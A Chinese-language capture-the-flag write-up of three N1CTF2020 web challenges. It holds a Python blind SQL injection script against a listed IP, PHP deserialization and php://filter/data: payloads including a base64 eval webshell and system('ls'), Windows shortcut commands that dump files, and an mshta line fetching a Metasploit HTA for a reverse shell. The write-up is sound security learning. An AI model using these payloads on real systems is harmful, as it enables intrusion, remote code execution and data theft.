N1CTF2020 SignIn
知识点:sql+反序列化
<?php
class ip {
public $ip;
public function waf($info){
}
public function __construct() {
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
}else{
$this->ip =$_SERVER["REMOTE_ADDR"];
}
}
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
}
class flag {
public $ip;
public $check;
public function __construct($ip) {
$this->ip = $ip;
}
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
public function __destruct() {
echo $this->getflag();
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
unserialize($input);
} 反序列化
反序列化
echo serialize(new flag(new ip()));
//O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";N;}s:5:"check";N;}
SQL注入
# by CubeStone
import requests
import time
import sys
def Injector(url,length,payload,known="",sleep=0,sign="noip"):
charlist=",@_{}-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/=+"
basename=known
length=int(length)
for i in range(1,length+1):
if i>len(basename)-len(known)+1:break
for each in charlist:
print(basename+each,end="\r")
res=requests.get(url,headers={"X-Forwarded-For":payload.format(char=basename+each,length=len(known)+i)},timeout=2)
if sign in res.text[res.text.find('''</code>'''):]:
basename+=each
print(basename)
break
if sleep!=0:time.sleep(sleep)
return(basename)
if __name__ == "__main__":
# 注表名
Injector("http://101.32.205.189/?input=O:4:%22flag%22:2:{s:2:%22ip%22;O:2:%22ip%22:1:{s:2:%22ip%22;N;}s:5:%22check%22;N;}",20,"0' and (SELECT extractvalue(1,if((binary left((SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'n1ctf_websign'),{length})='{char}'),0,(concat(1,'n1ctf'))))) and '","n1ip,n1key")
# 注列名
Injector("http://101.32.205.189/?input=O:4:%22flag%22:2:{s:2:%22ip%22;O:2:%22ip%22:1:{s:2:%22ip%22;N;}s:5:%22check%22;N;}",20,"0' and (SELECT extractvalue(1,if((binary left((SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME = 'n1key'),{length})='{char}'),0,(concat(1,'n1ctf'))))) and '","")
# 注key,注意表名key必须用反引号`括起来,因为是SQL关键字。。。
Injector("http://101.32.205.189/?input=O:4:%22flag%22:2:{s:2:%22ip%22;O:2:%22ip%22:1:{s:2:%22ip%22;N;}s:5:%22check%22;N;}",20,"0' and (SELECT extractvalue(1,if(( left((SELECT group_concat(`key`) FROM n1ctf_websign.n1key),{length})='{char}'),0,(concat(1,'n1ctf'))))) and '","n1ctf20205bf75ab0a30")
最后的payload
http://101.32.205.189/?input=O:4:"flag":2:{s:2:"ip";s:5:"n1ctf";s:5:"check";s:25:"n1ctf20205bf75ab0a30dfc0c";}
N1CTF Filter
我以为是什么神奇的绕过,炅哥说是fuzz测试,泽哥说是webpwn
<?php
isset($_POST['filters'])?print_r("show me your filters!"): die(highlight_file(__FILE__));
$input = explode("/",$_POST['filters']);
$source_file = "/var/tmp/".sha1($_SERVER["REMOTE_ADDR"]);
$file_contents = [];
foreach($input as $filter){
array_push($file_contents, file_get_contents("php://filter/".$filter."/resource=/usr/bin/php"));
}
shuffle($file_contents);
file_put_contents($source_file, $file_contents);
try {
require_once $source_file;
}
catch(\Throwable $e){
pass;
}
unlink($source_file);
?>
FROM ubuntu:18.04
RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.ustc.edu.cn/g" /etc/apt/sources.list
RUN apt-get update
RUN apt-get -y upgrade
RUN apt-get -y install tzdata
RUN apt-get -y install vim
RUN apt-get -y install apache2
RUN apt-get -y install php
RUN rm /var/www/html/index.html
COPY index.php /var/www/html/
RUN chmod -R 755 /var/www/html/
COPY flag /tmp/flag
RUN cat /tmp/flag > /var/www/html/`cat /tmp/flag`
RUN rm -rf /tmp/flag
CMD service apache2 restart & tail -F /var/log/apache2/access.log;
我以为:非预期解
<?php
$filter="read=string.strip_tags|convert.base64-decode/resource=data:text/plain,PD9waHAgZXZhbCgkX0dFVFsnbGFsYSddKTs=<?";
echo file_get_contents("php://filter/".$filter."/resource=/usr/bin/php");
只不过拿explode("/",$filter)
没有办法
解决方案:
-
php://filter可以不加过滤,也就是直接跟resource,不过我试了在get_file_contents里resource=后面直接跟网址会报错,但是在readfile里不会。
-
data后面可以不加数据类型,但是必须要留出位置。data协议浏览器是原生支持的,甚至可以直接浏览器访问,也可以嵌入在HTML里,比如[https://fly.moe/]()
data:,<文本数据> data:text/plain,<文本数据> data:text/html,<HTML代码> data:text/html;base64,<base64编码的HTML代码> data:text/css,<CSS代码> data:text/css;base64,<base64编码的CSS代码> data:text/javascript,<Javascript代码> data:text/javascript;base64,<base64编码的Javascript代码> data:image/gif;base64,base64编码的gif图片数据 data:image/png;base64,base64编码的png图片数据 data:image/jpeg;base64,base64编码的jpeg图片数据 data:image/x-icon;base64,base64编码的icon图片数据
Payload:
<?php
$filter="resource=data:,<?php system('ls');";
echo file_get_contents("php://filter/".$filter."/resource=/usr/bin/php");
测试一下官方公布的payload
其实可以不用短标签的
炅哥说
$filter="read=string.strip_tags|convert.base64-decode|convert.base64-decode|convert.base64-encode|string.rot13|zlib.inflate|convert.base64-decode"
"php://filter/".$filter."/resource=/usr/bin/php"
你会发现输出了p
,于是就这样凑齐所需字符
但是奈何我没搞过fuzz,比较一头雾水,一直在想怎么写算法来遍历所有可能。。。
好吧,原来是类似蒙特卡洛法,万一瞎猫抓住死耗子了呢?(1/10000*10000=1)
官方fuzz:fz.php
喂喂喂,convert.iconv是啥啊,为啥php文档里没有!!!!
然后模糊测试的时候没必要搭建docker,尽管他给了我们dockerfile,直接filter=read=convert.base64-encode
然后将网页回显解码回来存为二进制文件php即可
N1CTF The King of Phish(Victim Bot)
知识点:cmd命令执行+windows快捷方式
P.S. 官方write up里给出了很多种windows命令行命令执行的方式,这里就讲我尝试了的几个方案
文件上传框啦↓
<form action="/send" method="post" enctype="multipart/form-data"><input name="file" type="file"><button type="submit">上传</button></form>
方案一
这个是我最原始的想法。我是希望通过type命令略带搅屎地把flag打印在app.py里,但是不知道为什么在题目环境里获取桌面文件目录时会超时,╮(╯▽╰)╭。本地测试如果桌面快捷方式名里没有中文字符是没有问题的,就此思路在本地复现如下
列出带有flag的文件名的lnk
目标:%ComSpec% /c type app.py>app2.py&&echo ;r'''>>app.py&&dir /b %appdata%\..\..\Desktop|findstr "flag" >>app.py&&echo '''>>app.py
起始位置:.
输出flag.txt的lnk
目标:%ComSpec% /c echo ;r'''>>app.py&&type %appdata%\..\..\Desktop\flag.txt >>app.py&&echo '''>>app.py >>app.py&&echo '''>>app.py
起始位置:.
清除搅屎痕迹的lnk
目标:%ComSpec% /c type app2.py>app.py
起始位置:.
方案二:mshta
快捷方式lnk
mshta.exe https://server.icystal.top/tools/shell.hta
shell.hta由metasploit生成,参考使用mshta.exe绕过应用程序白名单(多种方法)
但是教程里都是局域网ip,问题是在公网上,如何设置本机ip让对方运行hta脚本后能和本本机取得联系???
无论是本机做内网穿透还是放在公网服务器跑我都尝试了,但是因为公网ip都不是本机生成shell.hta时会显示绑定失败
其次我也尝试使用MSFVenom手动指定ip和端口,但是也没有得到反弹的shell不知道是哪里出问题了QAQ,我太难了
一点意外的收获
windows cmd
C:\Users\q1079>echo 1> 1.txt
C:\Users\q1079>type 1.txt
ECHO is on.